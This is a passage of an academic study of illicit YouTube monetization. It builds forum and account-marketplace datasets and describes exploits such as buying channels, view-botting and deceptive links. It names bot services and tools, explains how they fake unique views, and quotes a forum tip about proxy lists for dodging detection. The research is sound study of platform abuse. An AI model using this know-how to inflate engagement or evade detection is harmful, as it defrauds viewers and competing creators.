† University of Chicago, andrewcchu@uchicago.edu
‡ Purdue University, {aarunasa, mozmen, zcelik}@purdue.edu

Abstract
The YouTube video sharing platform is a prominent online
presence that delivers various genres of content to society
today. As the viewership and userbase of the platform grow,
both individual users and larger companies have recognized
the potential for monetizing this content. While content mon-
etization is a native capability of the YouTube service, a num-
ber of requirements are enforced on the platform to prevent its
abuse. Yet, methods to circumvent these requirements exist;
many of which are potentially harmful to viewers and other
users. In this paper, we present the first comprehensive study
on exploitative monetization of content on YouTube. To do
this, we first create two datasets; one using thousands of user
posts from eleven forums whose users discuss monetization
on YouTube, and one using listing data from five active sites
that facilitate the purchase and sale of YouTube accounts.
We then perform both manual and automated analysis to de-
velop a view of illicit monetization exploits used on YouTube

by both individual users and larger channel collectives. We
discover six distinct exploits used to execute illicit content
monetization on YouTube; four used by individual users, and
two used by channel collectives. Further, we identify real-
world evidence of each exploit on YouTube message board
communities and provide insight into how each is executed.
Through this, we present a comprehensive view of illicit mon-
etization exploits on the YouTube platform that can motivate
future investigation into mitigating these harmful endeavors.

1 Introduction

YouTube is the world’s largest video sharing platform, ex-
ceeding one billion hours of daily viewership [82]. Videos
are willingly uploaded by users, who may then be rewarded
through profit made via content monetization. The landscape
of content creation and monetization on the YouTube plat-
form has gone through several changes since the video host-

∗First authors Chu and Arunasalam have made equal contributions to this
work. Work completed while Andrew Chu was at Purdue University.

ing site’s founding in 2005 [68]. Despite various changes
to YouTube’s monetization policy, content creation on the
platform has remained highly profitable (e.g., T-Series, the
most popular channel measured in YouTube subscribers nets
at least $8.5 million USD in estimated yearly income [54]).
While originally allowing monetization through Participatory
Video Ads (PVA) and Brand Channels, YouTube pivoted to
more advanced methods that algorithmically evaluate content
to determine creator payout [73, 74, 77].

With these changes, two groups of content monetization
emerged: individual users and channel collectives. Individ-
ual users, known as content creators, comprise the majority
userbase of YouTube, wherein any registered individual may
upload content to the website that later may be monetized
based on popularity. Channel collectives, more commonly
known as Multi-Channel Networks or MCNs, are larger ag-
gregates of multiple individual users that support all collective
members; providing content tools in areas such as audience
development, content programming, and advertisement inte-
gration [70]. Though the majority of content creators and con-
tent uploaded to YouTube abide by stated monetization poli-
cies and requirements [66, 76], a notable quantity of content
violation and monetization requirement evasion techniques
have been developed by either group and remain unaddressed
on the YouTube platform today.

Previous technical community efforts have recently ex-
plored methods of creating deceptive content for specific de-
mographics (i.e., children and kids [36]) as well as in-content
URLs directing viewers to malicious websites [7]. However,
research that examines (1) the underlying communities sup-
porting illicit content monetization on YouTube and (2) adja-
cent mechanisms supporting these endeavors (e.g., account
marketplaces, software) is at this time largely absent.

In this paper, we present a comprehensive review of unstud-
ied, popular exploits used by malicious creators and MCNs to
execute illicit content monetization. To accomplish this, we
analyze online communities and forums that actively discuss
monetization on YouTube, and filter the discussions to iden-
tify conversations between malicious creators describing their
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methods. We also examine a number of online account market-
places that operate with the direct purpose of facilitating the
purchase/sale of YouTube accounts and analyze the attributes
of active listings. Lastly, we study a number of browser-based
and local software tools used to evade copyright detection
and generate artificial video engagement (e.g., views, sub-
scribers, likes, comments). From these data, we create two
datasets of contextual forum comments/exchange, and market-
place listing characteristics. We perform codebook analysis
on our dataset of forum comments and discover six exploits
implemented by both content creators and MCNs: (1) illicit
commerce of YouTube accounts, (2) artificial channel engage-
ment, (3) in-content deception, (4) content theft, (5) withhold-
ing affiliate payment, and (6) MCN content theft. We discover
these exploits have potential to both directly and indirectly
harm YouTube viewers, content creators, and third-parties.
Viewers are harmed via phishing and exposure to illicit or
harmful content. Creators experience unfair competition and
content theft, both of which harm their ability to generate
revenue in the YouTube ecosystem. Third-parties that pro-
duce video content outside YouTube (i.e., movies, TV shows)
become victims of piracy. Analysis of our forum comments
also shed light on the abuse of software tools to perpetrate
these exploits. Our findings motivate future work into user
interactions and content moderation in YouTube monetiza-
tion communities, and how to prevent malicious creators and
MCNs from harming others on the video-sharing platform. In
this work, we make the following contributions:

• We present the first study of illicit monetization opera-
tion through analyzing a wide variety of global online
YouTube commerce communities complicit in support-
ing this operation and its economics.

• We identify and characterize six illicit content mone-
tization exploits that harm viewers, content uploaders,
and third-parties by studying discussion between exploit
perpetrators and victims.

• We conduct a large-scale analysis of prohibited YouTube
account listings, monetization related services, and
evasion-motivated software to provide insight into how
illicit content monetization exploits can be mitigated.

2 Monetization in the YouTube Ecosystem

We provide a background of the YouTube environment by
defining a hierarchy of interactions between viewers and the
two entities, content creators and multi-channel networks.
Further, we discuss copyright and ownership on YouTube, a
key matter in monetizing uploaded content at scale.
Content Creators. The term content creator (shortened as
creator) describes a user who contributes media content to
the YouTube platform. Creators on YouTube comprise the
largest user-base of any video-sharing website, with over 44

million global users at the time of this research [46]. Creator
channels upload created content, which falls in nine distinct
categories (music, comedy, film & entertainment, gaming,
beauty & fashion, sports, tech, cooking & health, and news &
politics) [65]. Content 15 minutes or less in length can be up-
loaded to YouTube by any user with a Google account [35].
The duration can be extended to 12 hours or 128 gigabytes in
file size with user verification [17]. Uploaded content must
adhere to community guidelines defined by YouTube that out-
line policies on spam & deceptive practices, sensitive content,
violent or dangerous content, and regulated goods [66]. In-
creasingly, content creators aim to monetize their content via
various methods (e.g., advertising, partnerships) that allow
content creation to be a potentially profitable process.
Multi-Channel Networks. Third-party companies called
Multi-Channel Networks (MCNs) are external channel col-
lectives that content creators may join to promote content
monetization [70]. MCNs have become an integral part of the
YouTube ecosystem, with some MCNs working with a large
number of creators. For instance, Machinima is a large MCN
that manages over 30,000 creators [34]. A content creator who
joins an MCN is referred to as an affiliate creator. In exchange
for a portion of the revenue generated by an affiliate creator’s
content, MCNs offer tools and services to guide creators in
areas such as audience development, content programming,
and creator collaboration. Some MCNs also provide affiliate
creators with additional benefits such as copyright protection
via YouTube’s Content ID system. An affiliate partnership is
offered by MCNs to content creators and typically cannot be
started by the creator themselves (e.g., creator contacting the
MCN). If an MCN finds a creator profitable, formal affiliation
is set through legally binding contracts.
Copyright and Ownership. Because content uploaded to
YouTube is able to generate revenue, YouTube established
a copyright policy which prevents unauthorized content use
or reupload. Specifically, this protects the original owners
of uploaded content. Copyright policy on YouTube is en-
forced using Content ID, a system where videos are tagged
as original and added to a corpus of copyrighted media [13].
All future videos uploaded to YouTube are cross-referenced
against this database and are flagged upon a positive match,
automating the process of detecting copyright violations and
preventing others from profiting from the content of others.

Consider a music video uploaded by a musician to promote
an upcoming album. Initially, they do not apply for Content
ID and find a reupload of their video on a channel with more
subscribers, drawing views and monetization away from their
original video. The musician applies and is approved for Con-
tent ID on their video, adding their content to YouTube’s
database of copyrighted content. Concluding this process, the
reupload is removed from YouTube, allowing the musician to
receive all monetization from their original content.

Though use and approval from the Content ID system is
available to individual creators, streamlined interaction with
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the system often is more easily achieved via larger MCNs or
business entities who may be able to more easily demonstrate
alignment with YouTube’s Content ID criteria [12]. For this
reason, many content creators choose to affiliate with MCNs -
hoping to establish stronger ownership of uploaded media.

2.1 Generating Revenue
Content monetization is the primary incentive offered by
YouTube to encourage users to upload media. In the final fis-
cal quarter of 2019, content ads generated $15-billion USD or
9.4% of Google’s annual revenue generated for the year [69].
As a portion of this revenue is distributed to content creators,
YouTube sees continuous growth of users working to become
eligible for content monetization. This popularity has led
YouTube to instate and revise monetization requirements for
creator uploaded content. We discuss these requirements and
mechanisms of monetization payout below.

2.1.1 Eligibility

Eligibility for content monetization on YouTube has evolved
several times. Original conditions of monetization (i.e., prior
to 2018) required that a channel obtains 10,000 lifetime views
before receiving any advertising payout [71]. This method
contained several flaws. While reasonable for the beginning
stages of YouTube’s growth, this approach was not scalable
and was easily exploited by content creators. Users quickly
created various paid, grey-market tools to automate and by-
pass the viewer threshold [8, 32, 47]. Further, companies
paying to use YouTube as a means of advertising could not
ensure their products were promoted to broader audiences.
For instance, a video on a large channel with many view-
ers could equally likely show an advertisement as a video
from a channel with little to no following. To address these
issues, YouTube implemented new monetization standards in
January 2018 that require channel videos have annual views
amounting to 4,000 hours and 1,000 subscribers (dedicated
viewers who choose to view more of the content [49]) be-
fore a creator can monetize their content. These standards
addressed advertiser concerns of ad delivery to viewers by
ensuring monetized channels have a uniform minimum audi-
ence [72]. However, we show in Section 4 that these standards
harm beginner content uploaders and continue to be exploited
by underground communities.

2.1.2 Mechanisms of Monetization & Payout

Mechanisms to monetize content on YouTube stem from ad
revenue, specifically in three categories: native advertising,
external sponsors, and MCN integration.
Native Advertising. Native advertising describes adver-
tising services offered by YouTube itself, specifically
the YouTube Premium and Google AdSense services [75].
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Figure 1: Overview of monetization payout on YouTube.

YouTube Premium provides a creator with revenue gained
from viewers subscribed to the YouTube Premium service.
Google AdSense provides a creator payout using “Cost Per
Mille” (CPM), a fixed rate given for every 1,000 video
views [67]. Both services provide creators with a simple
means of monetizing their content but prevent several po-
tential drawbacks for creators. The YouTube Premium service
currently maintains less than 20-million active subscribers–
not large enough to provide creators with notable income [78].
In Google AdSense advertising, YouTube deducts 45% of a
creator’s CPM rate as a service fee before payout, limiting
income generated by uploaded content [3].

External Sponsors. External sponsors describe monetization
stemming from indirect, supporting sources. Revenue is cre-
ated from “paid promotions”–sponsored media content that
endorses targeted products or services (e.g., fitness and elec-
tronics reviews) paid for by a third-party company. YouTube
requires creators of external sponsor videos to disclose the
nature and source of the promoted product to their viewers
and specify related video metadata and media tags [79]. Pay-
out and reimbursement from external sponsors vary broadly,
often based on the sponsoring company. Smaller companies
frequently compensate content creators for their promotion by
allowing them to keep the reviewed product after any sponsor-
ship duration has ended. Larger companies may structure the
reimbursement of content creators contractually or on a more
formal basis, similar to business transactions for conventional
advertising in other mediums [14].

MCN Integration. MCNs provide creators an indirect mech-
anism of monetization. Affiliated channels leverage MCN
tools to target specific demographics more effectively and
collaborate with other affiliated creators. This process is de-
signed to create wider viewership, gain additional subscribers,
and generate more native advertising revenue/external spon-
sorship opportunities. MCN integration also introduces a dif-
ferent flow of payment for affiliated creators, one that differs
from creators not tied to an MCN. The efficacy of MCNs
varies largely with the level of observed community trust and
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reputation. Large MCNs (e.g., AfreecaTV, Rooster Teeth

Productions, ProSiebenSat.1 Media SE) may be similar
to mass media and entertainment conglomerates or sub-
sidiaries in audience reach, and manage extensive quantities
of popular channels. Small, medium or lesser-known MCNs
(e.g., Freedom!, ScaleLab, Talentsy) may encompass more
niche collectives of content genres/creators. In the agreements
between the MCN and creator, content revenue distribution is
established, typically no greater than 20% for the MCN [27].
Payment Flow. Figure 1 presents an overview of how unaf-
filiated (native advertising) and affiliated (MCN partnered)
creators receive compensation in the YouTube ecosystem. To
begin, both unaffiliated and affiliated creators upload content
to YouTube ( 1 ). While unaffiliated creators receive direct
payment from YouTube ( 2 ), payment for affiliated creators
is first given to their MCN ( 3 ) before being distributed based
on established contracts ( 4 ).

3 Data Collection

Monetization is a major incentive for uploading content
to YouTube, and ad revenue for this process grows every
year [69, 80]. As such, we study approaches for monetization
on YouTube and answer the following research questions:
(1) What are the illicit exploits commonly used by content

creators and MCNs to monetize content?
(2) What tools/facilities are used to perpetrate such exploits?
(3) How do these exploits harm viewers, other content cre-

ators, or third-parties?
To answer these questions, we collect and analyze data to

identify illicit exploits. Figure 2 presents an overview of our
identification process. We first use a simple query crawler to
identify monetization-related posts and threads on online dis-
cussion boards ( 1 , 2 ). We crawl these posts, obtain user con-
tent (e.g., comments, file uploads, embedded URLs, software
tools) and apply a codebook to extract six exploits ( 3 - 5 ).
Through our analysis, we additionally identify five websites
used to purchase and sell YouTube accounts and build a sepa-
rate crawler to extract data from these marketplaces, as well
as analyze the services they offer ( 6 , 7 ).
Ethical Considerations. The data we analyze in this work
can be placed in three categories: online communications,
marketplace listings, and software. Online communication
data we collect contains only non-identifiable information.
We examined only the text and context of messages posted
by users in forum threads. We did not compile user account
metrics (e.g., username, location, quantity of posts, age) that
may reveal a user’s identity. Marketplace data similarly con-
tains only metadata of public purchasable account or service
listings on websites (e.g., price, subscriber count, channel
genre) that cannot uniquely identify any individual. Finally,
the software we examined was found through standard search
terms on public online communities.
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Figure 2: Procedure identifying illicit YouTube monetization
discussion, services and software, and eventual exploits.

While listings and forum posts are public, we took several
steps to preserve privacy in our data collection process and
reduce (but not eliminate) re-identification risks. We do not
make our full account marketplace/forum data public, and
present only a portion of the data. For quoted forum posts, we
provide only relevant fragments from original quotes. Further,
we ensure quotes do not link to any YouTube video/channel.
Constructing Datasets. To understand the illicit behavior of
both content creators and MCNs, we construct two datasets to
analyze YouTube monetization-relevant content online; the
first containing discussion board data and the second contain-
ing online marketplace data. Our dataset of discussion board
data captures current creator discussion about illicit exploits
and how they may be implemented. Our dataset of online
marketplace data captures active online buy/sell marketplaces
of services that exploit the YouTube platform. Additionally,
we identify software tools used to perpetrate illicit behaviour.

3.1 Discussion Board Data

The discussion board dataset is composed of comments and
posts from 11 different forums, shown in Table 1. To holis-
tically survey the landscape of illicit YouTube monetization,
we collected data from the most popular online communities
from ten different countries that cover each global region. We
considered only sites publicly accessible (e.g., easily found
via web search) and did not require registration or prior site
activity to view information. We believe this restriction is both
appropriate and acceptable as it provides an accurate view of
the conventional discussion of the YouTube ecosystem.

We collected data from these discussion boards with two
Python web crawlers using the Scrapy web-crawling frame-
work [43] and Zyte cloud crawling platform [87]. The first
crawler (Crawler A) collects forum URLs resulting from rele-
vant keyword searches on the Google Search API. Our second
crawler (Crawler B) gathers data (user-posted text, related
contextual information [e.g., screenshots, links], uploaded
executables/files) from the YouTube forum/message board
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Table 1: Analyzed forums and discussion boards.

# - Country Website Name Provided Site Description Members Ranking
Reddit Boards
1 USA Reddit /r/youtube [42] “Discussion of YouTube as a platform - its announcements, features, bugs, and design” 471,005 805∗

2 USA Reddit /r/NewTubers [40] “Allow[s] up-and-coming creators to improve through critiques, feedback, and cooperation among thousands of peers” 173,519 2,066∗

3 USA Reddit /r/PartneredYoutube [41] “[Allows] creators to ask and share advice for growing their YouTube channels” 22,710 11,966∗

English Forums
4 USA TubeBuddy [55] “Our Mission is to make you and the rest of the YouTube Community a happier and more productive bunch” 35,362 7,183†

5 USA YTtalk [84] “Talk about video editing, youtube gossip, branding, promotion strategies, video projects and much more!” 103,955 135,172†

International Forums
6 Mexico ForoBeta [18] “ForoBeta is the largest forum in Spanish for Webmasters, with discussions about SEO, bloggers, facebook among others.”∗∗ 110,624 97,089†

7 Brazil Adrenaline [2] “Adrenaline Forum - One of the largest and most active forums in Brazil”∗∗ 328,688 30,607†

8 Vietnam Dien dan Hoc Vien Youtube [28] “Welcome to the Vietnam Youtube Academy forum”∗∗ 236,000 3,411,396†

9 Cyprus SearchEngines.guru [44] “SearchEngines.guru is a website allowing users to discuss issues related to creating and promoting websites on the Internet.”∗∗ 21,687 109,259†

10 Russia PR-CY [37] “Self-service website promotion - Online tools for webmasters, optimizers and copywriters.”∗∗ 24,630 14,420†

11 Turkey YTPara [83] “Youtube & Webmaster Support Forum”∗∗ 79,850 39,913†

∗ Ranking at time of writing based on number of Reddit subscribers, compared to all subreddits [39]. † Alexa Rank at time of writing [5]. ∗∗ Description translated to English from original language via Google Translate [25].

URLs collected by Crawler A, and discards all URLs after
use. We began our investigation of illicit content monetization
and data collection in December 2020 and stopped collection
in May 2021. In this time frame we ran Crawler A twice, and
Crawler B periodically at multiple intervals, resulting in total
runtime of ≈ 101 hours. Specifically, we ran Crawler B at the
middle of each month, to collect any new content posted by
forum users. In our first run of Crawler A, we collected a
preliminary set of forum URLs. Here, we purposefully used
broad keywords (e.g., “monetization fraud”, “mcn copyright”)
to form a starting basis of discussion for analysis.

We next executed Crawler B multiple times and gathered
data from the YouTube forum/message board URLs collected
by the first crawler. We examined the collected data and de-
veloped more exploit-specific keywords (e.g., “youtube link
farming”, “youtube movie piracy”) for use in a second run
of Crawler A. While we initially attempted using NLP tech-
niques to extract keywords, we determined that such meth-
ods were impractical and insufficient in accurately capturing
exploit-specific phrases. We thus used manual analysis.

We then ran Crawler A a second time using our manually
generated exploit-specific keywords to collect a new set of
YouTube discussion forum URLs. To complete the discussion
board data collection process, we inputted the URLs resulting
from this second Crawler A execution once more to Crawler
B, and collected these sites’ content through multiple runs.
From this, we obtained 8,481 unique posts, all discussing
monetization on YouTube. We then analyzed these websites
by sorting them into three groups:

Reddit Boards- Multiple communities or subreddits that
facilitate YouTube related dialogue exist on the discus-
sion and news aggregation platform. Of these subreddits,
we looked specifically at /r/youtube, /r/NewTubers, and
/r/PartneredYouTube. Collectively, these three communities
have over 665,000 members and facilitate user conversation
about a wide variety of YouTube creator processes.

English Forums- Several forums explicitly dedicated to dis-
cussing the YouTube ecosystem exist online. We chose to
analyze YTtalk and TubeBuddy, as they were the two largest

English-speaking and YouTube oriented discussion boards.
These two forums host 30 distinct sub-forums dedicated to
content creation, 18 of which discuss YouTube content.

International Forums- To extensively evaluate the YouTube
ecosystem, we analyzed forums based in several additional
countries (Mexico, Brazil, Vietnam, Cyprus, Russia, Turkey)
in various global regions. In total, these six message boards
contain 2,327,409 distinct threads (at the time of writing)
discussing internet monetization mechanisms.

Our resulting findings from analyzing this data are pre-
sented in the form of six illicit content monetization exploits
employed by content creators (Section 4.1) and MCNs (Sec-
tion 4.2). A complete list of keywords used by both the first
and second crawlers is presented in Appendix Table 1.

3.2 Account Marketplace Data

The online marketplace data consists of metadata from online
marketplace listings of YouTube accounts on five different
websites offering exclusively this service. We found these
five websites by following user exchanges in our examined
forum data that linked these marketplaces. Table 2 provides
an overview of these websites (e.g., types of accounts sold,
listing quantity, and ranking). To collect this data, we created
an additional Python web crawler to deploy on these five
websites. This crawler collects a number of YouTube chan-
nel specific attributes from each marketplace website listing
(e.g., number of subscribers, channel genre, date of posting).
While all sites additionally list accounts from platforms other
than YouTube, we did not collect this data as it is not relevant
to our study. Similar to our discussion board data collection
process, our marketplace crawler collected data at the middle
of each month from January 2020 to May 2021, with total
runtime of ≈ 98 minutes. From this process, we collected data
from 1,352 unique YouTube account listings, spanning over
three years (March 2018 to May 2021). We then used this
data to understand the landscape of YouTube accounts being
sold–an action potentially harmful to viewers, other creators,
and in violation of YouTube’s policies.
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Table 2: Analyzed social media account marketplaces.

# - Country Website Name Accounts Offered # of Listings Alexa Ranking∗

1 Poland SWAPD [50] F, I, M, Tw, Tt, Y 21,637 26,915
2 Russia Accs-Market.com [1] F, I Tw, Y 1,118 41,546
3 Panama Fameswap [16] I, Tt, Y 3,112 13,162
4 Spain Trustiu [52] M, Y 277 74,827
5 Panama ViralAccounts [59] F, I, Tt, Y – 292,047
Accounts: F := Facebook, I := Instagram, M := Misc., Tw := Twitter, Tt := TikTok, Y := YouTube.
∗ Alexa Ranking at time of writing

3.3 Software Tools

We discovered references to software tools used to execute
exploits through our forum data. Creators recommend ei-
ther using benign software to accomplish illicit monetization
exploits, or provide links to, or even file uploads of tools
marketed for illicit use. The software tools we found can
be categorised as (1) web based tools: software accessed
via a web page or internet browser extension, or (2) local
software: applications that run on a creator’s own laptop or
computer. We identified five web based tools and five local
software commonly discussed among creators (mentioned
many times across multiple threads). These tools are used to
simulate channel engagement by generating fake likes, views,
or subscribers, or are used to perform video editing techniques
proven successful in evading YouTube copyright detection.

4 Discovering Illicit Behaviour on YouTube

After sorting our crawled data, we performed manual exami-
nation using codebook analysis. Specifically, we use thematic
analysis [53] to understand and extract key takeaways from
conversation surrounding illicit forms of monetization. Three
authors jointly developed a codebook by manually analyzing
every post collected by our crawler, generating initial codes,
and reiterating until all authors achieved codebook stability.
The authors met over multiple sessions to refine codes and
reconcile disagreements. We do not present inter-coder agree-
ments as the coded posts were reviewed as a group [33].

Non-English posts were translated to English before analy-
sis using the Python library googletrans [24]. We then per-
formed a manual analysis of translated content to confirm that
translations were coherent. Our final codebook contains six
high-level categories representing illicit content monetization
exploits executed by either content creators or MCNs. These
exploits harm viewers, other content creators, or third parties
that produce and upload video content outside YouTube. Ta-
ble 3 lists six distinct, illicit exploits we identified along with
the malicious party involved and the party harmed. Broadly,
these exploits fall into four categories:
(1) Non-permitted sale of YouTube accounts and content-

related services
(2) Deceitful media content
(3) Theft of copyrighted content
(4) Theft of revenue

Table 3: Our six identified exploits, their perpetrators, and
groups harmed.

Malicious Party Party Harmed
Exploit Creator MCN Viewer Creator Third Party

Illicit Commerce of YouTube Accounts 3 7 3 3 7

Artificial Channel Engagement 3 7 3 3 7

In-Content Deception 3 7 3 7 7

Content Theft 3 7 7 3 3

Withholding Affiliate Payment 7 3 7 3 7

MCN Content Theft 7 3 7 3 7

In the non-permitted sale of YouTube accounts and ser-
vices, users on underground communities and marketplaces
sell active YouTube accounts, inorganic views, subscribers,
and comments. The sale of all such items is prohibited by
YouTube’s terms of service [15] and is potentially harmful to
viewers and other content creators. In deceitful media content,
content creators exploit YouTube viewers and other content
creators by directing them to external sites to monetize user
activity or collect Personally Identifiable Information (PII).
In theft of copyrighted content, both malicious creators and
MCNs generate profit through illicit content created by other
channels. In theft of revenue, MCNs deny their affiliates pay-
ment, thereby harming their source of income.

These exploits violate YouTube policy, infringe on the
property of other creators, and present viewers unwelcome
and even harmful content. Additionally, they have direct
and indirect consequences that may harm YouTube view-
ers and other content creators. While YouTube has taken
steps to address these issues, we observed recent discussion
in our crawled forum data exploring exploit revisions and
workarounds that persist on the platform. We detail exploits
executed by malicious content creators in Section 4.1, and
exploits executed by malicious MCNs in Section 4.2.

4.1 Malicious Content Creators

In this section, we discuss our findings regarding illicit ex-
ploits as facilitated by individual content creators on the
YouTube platform. We present a motivating scenario to pro-
vide a high-level overview of how our described illicit exploits
may work in tandem. We then discuss each exploit in detail,
describing its functionality and impact on viewers, other cre-
ators, MCNs, and the YouTube platform.
Motivating Scenario. We consider a YouTube content cre-
ator with no previous content or experience who wants to
create income via YouTube monetization quickly. To begin,
the user decides that meeting YouTube’s monetization re-
quirements is too tedious, and instead purchases a YouTube
account with 3,700 subscribers and 730,000 views from the
marketplace website for $50 USD. Browsing popular videos
on YouTube, the content creator observes that videos con-
taining full-length movies and movie highlights are popular,
attracting a high number of views. The content creator also
realizes they can leverage viewers to promote an external
website they own and earn ad revenue from.
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Figure 3: (a) Distribution of subscribers and (b) histogram of
prices for our crawled YouTube account listings.

Next, the creator creates their first video, a short clip from
a popular action film, and includes in the video content a
text link to their external site. Although untrue, the creator
also writes in the video description that visiting the address
will allow viewers to see the full movie. The creator does not
request permission from the film studio that created the movie
and instead immediately uploads the video.

Lastly, to further promote their content, the content creator
buys 30,000 views from a service and directs them to their
upload for $8.40 USD. The content creator continues this
process for several videos of the same format (i.e., movie
clips, including their external website link) and successfully
gains income from YouTube monetization. In this scenario,
YouTube viewers, other content creators, and third parties are
harmed. Below, we explain how each of these exploits are
conducted and how the mentioned parties are affected.

4.1.1 Illicit Commerce of YouTube Accounts

We discovered five websites dedicated to the illicit purchase
and sale of YouTube accounts (Table 2). This exploit de-
scribes the first decision made by the user in the motivating
scenario. All five websites share a similar transaction proce-
dure. First, a user creates a listing for the YouTube account to
be sold, including various information (e.g., sale price, sub-
scriber count, monthly views, content genre). Second, other
users reply to the listing with buy offers or message the sell-
ing user directly to gain more information about the account.
Upon finding a paying buyer, the original poster removes the
listing and provides the buyer with account credentials.
Listed Youtube Account Attributes. We examined the at-
tributes of all account listings in our dataset to complete our
profile of YouTube account sales on online marketplace plat-
forms. To begin, we examined the distribution of channel
subscribers across all account listings on our five crawled
sites. Figure 3a shows the subscriber count distribution across
our crawled listings on our five marketplace platforms. We
found a minimum listing subscriber count of 24, a maximum
of 9,220,000, and a mean of 155,785. Notably, we observe a
spike in listings beginning at 1,000 subscribers, the minimum
quantity required by YouTube to begin content monetization.

Supporting this quantity, such listings are frequently ac-

companied by descriptions that highlight this capability. For
instance, a listing with 6,000 subscribers has the description,

“No copyright or community strikes... The channel monetization
criteria [is] already more than enough for monetization,” to
advertise that the channel has not violated YouTube copyright
or content guidelines and may quickly begin to create profit.
Further, descriptions for accounts in our data similarly empha-
size the origin of their views and subscribers. For example, a
listing with 17,600 subscribers states “The subscribers are
all organic... not botted, not scam.” Yet, we find there is no
way to verify claims of “organic” viewers or subscribers.

We found 239 unique genre categories in our crawled data,
with 488 listings in the most popular genre of “Gaming &
Entertainment”. This aligns with conventional statistics of
YouTube viewership, with “Gaming” and “Entertainment”
combined accounting for 41% of total YouTube video content
globally [60]. Figure 3b presents a histogram of prices for
account listings. Pricing structures across our five studied
marketplace sites varied in regard to providing a static price
or only a “best offer” format. Across original poster static
prices and prospective buyer best offers, we found a mini-
mum listing price of $10 USD, a maximum listing price of
$512,925 USD, and mean listing price of $5,405 USD.

The minimum priced account listing uploaded videos in
genre “Movies & Music,” had 226,462 total views, and main-
tained 3,840 subscribers; above YouTube’s threshold for mon-
etization. Examining channel screenshots attached to the list-
ing, we observe a spike in views beginning in August 2018
and ending in December 2019, with less than ten monthly
views from January 2020 to the present. We posit this drop
in popularity supports the low listing price. The maximum-
priced account listing also uploaded videos in genre “Movies
& Music,” had 102,143,576 total views, and maintained over
124,000 subscribers. Channel screenshots attached to the list-
ing show a consistent viewership of at least 500,000 viewers
per month, providing annual revenue of $108,157.35 USD.
Viewer and Creator Harm. The commerce of YouTube ac-
counts both directly and indirectly harms viewers on the plat-
form. For example, a content creator previously banned by
YouTube may purchase an account for $35 USD, with 650
subscribers. This creator is not obligated to continue upload-
ing content consistent with that of the prior creator and may
upload harmful content. Viewers already subscribed to the
account are directly deceived as they unknowingly view un-
desired content when notified of a new video.

The presence of YouTube account marketplaces may also
indirectly harm other content creators on the platform. Stan-
dard users attempt to grow their channel organically, creating
consumable content for viewers to enjoy and share to meet
YouTube’s minimum requirements for content monetization.
However, a content creator who purchases a channel from an
account marketplace evades these requirements and may im-
mediately benefit from monetizing content, harming standard
users who aim to compete on the same platform.
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Table 4: Websites offering artificial engagement services.

# Website Name Service Offered Services Alexa Ranking∗

1 USA SubPals [48] S, L, V 37 14,469
2 USA QQTube [38] S, L, V 38 15,803
3 Turkey YoutubeAboneKas [64] S, V 2 36,634
4 Panama SonukEr [47] S, V 32 337,981
Services: S := subscribers, L := likes, V := views. ∗ Ranking at time of writing

4.1.2 Artificial Channel Engagement

We discovered discussion on several forums related to ar-
tificial channel engagement, illicit methods creators use to
simulate views, subscribers, likes and comments to make their
channel appear more popular. Specifically, creators use these
methods to circumvent YouTube’s monetization requirements
(i.e., 4,000 annually viewed hours of channel videos, and
1,000 subscribers). We observed two main methods of facili-
tating artificial channel engagement: (1) purchasing artificial
engagement services on online marketplaces and (2) software
bots tailored for mimicking views, likes, and/or subscribers.

Underground Channel Engagement Marketplaces. Ta-
ble 4 shows a summary of the four most frequently mentioned
artificial engagement service marketplaces in our forum data.
On these websites, various services are available for purchase,
with pricing ranging from free to $180 USD. We observed
two primary services: view-botting and community exchange.
View-botting describes purchasable automated services that
use unique network addresses to increase view counts on
YouTube videos. SubPals [48] and QQTube [38] are the two
most mentioned view-botting services in our dataset. Commu-
nity exchange describes purchasable and free services that use
a network of genuine users to mutually increase account met-
rics. YoutubeAboneKas [64] and SonukEr [47] are the most
mentioned community exchange services in our dataset.

Creators opt to use these services, hoping that artificially in-
flating numbers will persist on YouTube. One creator claimed
that they “... [bought] views on QQTube. It took 3 months.
After that time, [their] channel started having organic views.”
Creators purchase these services through a simple transaction
process. They first create an account, specifying the channel
or video purchased services will be applied to. After selecting
their desired service and paying the corresponding fee, the
service effect is applied to the specified content.

Engagement Bot Software. We also observe discussion
of artificial engagement bot software–both paid and open-
sourced. Table 5 shows the bot software mentioned in our
dataset. These software differ in their functionality (e.g., some
provide creators the ability to generate views while others
generate subscribers or comments) and required technical abil-
ity for use (e.g., preloaded Google Chrome extension, Python
script with user provided arguments, local software with a
graphical interface). For example, a user interacts with a GUI
interface to provide a video-ID for the video they wish to gen-
erate views for. The user is also able to specify the number of
views generated, and computing resources the software uses.

Table 5: Studied artificial channel engagement software.

# Software Name Engagement Type Software Type
1 YouTube Subscribers Generator [23] S, L, V Chrome Extension
2 YouTube View Bot [26] V Chrome Extension
3 Goyral Youtube Bot [20] C Chrome Extension
4 Youtube-viewer [63] V Python Code (Github)
5 YouTube-SubBot [61] S Python Code (Github)
6 Youtube-video-viewer-bot [62] V Python Code (Pip Package)
Engagement Type: S := subscribers, L := likes, V := views, C := comments.

The application then queries this video using computer in-
stances from various IP addresses, gathering “unique” views
for this content. (See Figure 1a in Appendix for an example
of a $249 USD YouTube view bot with these features).

To contrast, another software we examined leverages par-
ticipating forum members to “crowd-source” views and com-
ments. Used via a browser extension, a user simply installs
the extension, logs into a portal using their forum credentials,
and inputs the link of the content they wish to gather views
and comments on. Finally, we observe discussion between
users that support their use in illicit content monetization. For
instance, one forum creator suggested supplementing bot soft-
ware with an IP proxy list, “if ... your software queries a lot
on your own IP, YouTube will detect [your account] and delete
it, so find a proxy list and add it to the list on the side...”.
Viewer and Creator Harm. Artificial engagement on
YouTube presents several problems that concern viewers,
other creators, and the YouTube platform. Consider a user
who queries YouTube for a video on the top stock invest-
ment apps and first sees two results: the desired video with
20,000 true views, and a similarly titled video with 60,000
view-botted views. The user chooses the higher viewed, view-
botted video, assuming it is the desired content, as it appears
more popular at first glance. To illustrate, one creator justifies
his/her decision to purchase views by stating “...people will
more likely watch a video [that has] 20k views vs. 800.”

In the event that the view-botted video contains harmful
content, the user is lured into watching this harmful video
due to the high view count. At scale, such inauthentic activity
may negatively impact other creators as it may draw views
and revenue away from legitimate content. For YouTube, this
situation may drive away both viewers and creators.

4.1.3 In-Content Deception

Malicious creators leverage uploaded content to implement
in-content deception, an exploit that allows them to promote
external content for monetary gain or harvest user personally
identifiable information. Specifically, we observe discussions
on our analyzed forums describing creators redirecting view-
ers from YouTube content to external websites. We found this
method frequently used alongside videos containing short-
ened or irrelevant content to the video search query.
Deceptive External Content. Figure 4 shows an overview
of how malicious creators execute in-content deception. Ma-
